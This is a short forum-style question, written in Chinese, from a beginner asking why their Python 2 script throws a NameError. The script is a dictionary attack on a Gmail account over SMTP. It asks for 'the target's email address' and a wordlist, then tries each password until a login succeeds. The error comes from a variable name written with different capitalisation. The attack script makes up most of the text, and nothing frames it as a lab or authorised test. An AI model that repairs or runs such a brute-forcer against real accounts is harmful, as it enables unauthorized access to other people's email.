我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了什么吗?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
当我添加我的 wordlist.lst 文件时,我的终端中会出现一条错误消息,内容如下:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
请问有高手可以给我一些建议吗?我在 Kali Linux 上使用 Python 2.7.9(预先安装了 Python 2,所以我决定学习它而不是尝试 Python 3。)